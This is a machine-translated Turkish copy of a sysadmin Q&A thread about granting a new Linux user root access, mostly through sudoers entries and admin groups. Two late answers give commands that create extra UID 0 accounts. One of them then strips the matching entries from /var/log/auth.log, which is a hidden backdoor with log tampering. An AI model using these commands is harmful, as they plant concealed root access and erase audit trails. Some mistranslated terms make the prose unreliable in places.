Linux'ta root erişimi olan yeni kullanıcı ekle


31

Yeni kullanıcı eklemek ve bu yeni kullanıcıya tüm root erişimine sahip olmak / vermek istiyorum, bunu nasıl yapabilirim?

Yaptım sudo adduser --system testuserama bu beklediğim gibi çalışmıyor.

Yardım için teşekkürler.

Yanıtlar:


62

Bunu yapmanın üç yolu var: doğru yol, yanlış yol ve çirkin yol.

İlk önce normal bir kullanıcı hesabı oluşturun.

adduser username

Sonra aşağıdakilerden birini seçin:


Doğru yol

Bu sudoşekilde wheelgrup için bir giriş oluşturun /etc/sudoers:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Veya "modern" versiyonlar için:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Sonra kullanıcıyı wheelgruba ekleyin . Yönetici ayrıcalıklarına sahip kullanıcıları eklemek ve kaldırmak şimdi, sudo'da bir giriş oluşturmak yerine, bunları çarka eklemeyi hatırlamanın bir işlevi haline geliyor. Tekerleği kullanmanın en iyi yanı, bu mekanizmayı grupları destekleyen (örneğin, winbind / Active Directory) destekleyen diğer kimlik doğrulama şemalarına genişletebilmeniz ve işlemdeki avantajlardan yararlanabilmenizdir. Bunu, kimlik doğrulama şemanızdaki yönetici ayrıcalıklarına sahip bir gruba eşleme tekerleği eşleyerek gerçekleştirirsiniz.

Bazı dağıtımların farklı yönetim hesapları kullandığını unutmayın. Tekerlek buna bir "geleneksel" yaklaşımı, ancak karşılaşabileceğiniz admin, admve aynı amaca hizmet diğer grup hesapları.

Takip Düzenle:

Ubuntu'nun bu amaçla grup olarak kullandığını belirttiği için Bart Silverstrim'e bir puan vermem gerekiyor admin. İlk önce buna başladı, fakat o sırada bir Ubuntu etiketi görmedim. Yine, bunların tümü hangi dağıtımı kullandığınıza bağlıdır.


Çirkin yol

Söz konusu kullanıcı hesabı için bir sudo girişi oluşturun ve sonra tam erişim verin. Yine, girişi şöyle yaratırsınız /etc/sudoers:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

EKLENDİ: ## Ubuntu sürümü için: username ALL = (ALL: ALL)

Yalnızca bir (veya iki) normal hesabınız varsa bu harika. Birden fazla (jeofiziksel) site üzerinde yüz tane hesabınız olduğunda ve sudo dosyasını sürekli olarak tutmanız gerektiğinde çirkindir.


Yanlış yön

/etc/passwdDosyayı düzenleyebilir ve kullanıcı hesap kimliğini, hangi numaradan olduğu ile değiştirebilirsiniz 0. Bu doğru, sıfır .

username:x:0:502::/home/username:/bin/bash

Bu üçüncü girişi sıfır olarak gördün mü? Bu hesaba giriş yaptığınızda, tüm etkili amaçlar için root. Bunu tavsiye etmiyorum. Kim olduğunuzu "kim" hatırlamıyorsanız, dosya oluşturmaya ve dokunmaya başladığınızda her türlü tahribatı oluşturabilirsiniz root. Ayrıca kullanıcı adınızı rootgruba ekleyebilirsiniz . Bu dosya erişimi için aynı etkiye sahiptir, ancak başka sorunlar da yaratır; programlar sizin kullanıcı olmadığınızı rootve çalışmayı reddettiğinizi fark edecek , ancak gruba ait dosyalara erişeceksiniz root.

Bunu yaptıysanız vipw, sadece düzenlemek yerine, kullandınız vimı? (veya en sevdiğiniz metin editörü ne olursa olsun) Sonuçta, bu dosyadaki tek bir yazım hatası sizi sisteminizden uzaklaştırabilir - ve bu, söz konusu bilgisayarı bir onarım diskiyle fiziksel olarak ziyaret etmeniz anlamına gelir ...


2
Yanlış yolu bile belgelemem. Çok tabu.
elcuco

15
Katılmıyorum. Eğer yanlışı saklarsanız, ortadan kaybolmaz, sadece festerler - ve bazen, bir şeyin yasak olduğu bilgisi olması gerekenden daha fazla dikkat çeker. Neden tabu olduğunu anlamak daha iyi . Özellikle (şüphesiz) bu bilgiye ihtiyaç duyabileceğiniz durumlar olduğunda. Yine de, olayların ne kadar kötü olabileceğini göstermen için sana bir puan vereceğim. :)
Avery Payne

1
"Sonuçta, bu dosyadaki tek bir yazım hatası sizi sisteminizden uzaklaştırabilir" - hayır olmaz, tüm Macun oturumlarının bağlantısını kestikten sonra sizi kilitleyebilir (Putty kullandığınız varsayılarak). Bağlantınız kesilmediği sürece, ancak ayarlarınızı test etmek için başka bir oturumu açmanız yeterli.
quamis

1
@quamis - doğru. Yine de "ateş ve unutmanın" güvenli olduğunu varsayma tehlikesine dikkat çekmeye çalışıyordum. :) Sizler için bir nokta, iyi uygulamalara dikkat çekmek - her zaman ayarları daha sonra test edin .
Avery Payne

1
Unix'te geleneksel olarak 'tekerlek' grubunun (ikili, bayrak seviyesi yükseltmeli) ne olduğunun artık sudo ile yükselebilen bir kullanıcı grubu için ortak bir terim olmadığını belirtmek isterim. Tecrübelerime göre, sudo yapabilen bir grup insanın en yaygın ismi günümüzde genellikle 'sudo'lar' ve çoğu sistemde zaten kurulmuştu.
Bojan Markoviç

3

Bunu yıllardır kullanıyorum ve AskUbuntu'ya bir sudoer eklemenin 1 numaralı yolu :

adduser existinguser sudo

Dosyaları düzenlemekten çok daha basit ve katılımsız yükleme için bir kabuk betiğine atmak kolaydır.

Kullanıcıyı oluşturmak ve sudo ayrıcalıkları vermek istiyorsanız, bunu aşağıdaki gibi bir satırda yapabilirsiniz:

useradd newuser -m -G sudo
passwd newuser

-mbir giriş dizini oluşturdu ve -Gek bir grup belirler.


2

ve bununla birlikte% 100:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

ve macun ve ip sunucusuyla bağlantı kurun


1

Eklenti ile kullanıcı yaratabilirsiniz, bkz. Man adduser.
Sonra root veya wheel gibi ayrıcalıklı gruba ekleyebilirsiniz. Ama bence izin almanın en çok tavsiye edilen yolu sudo kullanmak.


1

gerçekleştirebilirsiniz:

#useradd -m -g root alex

kök gruba ait bir giriş dizini ile bir kullanıcı Alex oluşturur


1

Avery Payne'in cevabına ek olarak: Ubuntu'da şöyle olmasını isteyebilirsin:

%sudo   ALL=(ALL:ALL) ALL

Ve öyle değil:

%sudo    ALL=(ALL) ALL

0

"Çirkin ve dağınık" yol, / etc / passwd'yi yeni kullanıcı için UID = 0 AND GID = 0 olacak şekilde düzenlemektir. Ancak bu, çok sayıda güvenlik riski taşımaktadır . Kök ise, sözleşmenizi devre dışı bırakabilir, şifrenizi değiştirebilir, sizi "standart bir kullanıcı" yapabilir ... doğru mu? Peki neden ona sadece kendi hesabını vermiyorsun?

Ona komutların bir kısmına kök erişimi vermek istiyorsanız, suid'in nasıl çalıştığını ( http://en.wikipedia.org/wiki/Setuid ) çalışabilirsiniz .


-1

İşte bir liner:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

En iyi,


1
0 kimliği olan ek kullanıcılar eklemek iyi bir fikir değil ... ayrıntılar için en çok oy alan cevaba bakınız.
Gerald Schneider

@GeraldSchneider Asla iyi bir fikir olduğunu söylemedim. Tek bir astar, her zaman pentestlerde kullanın. Saygılar
Boschko
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.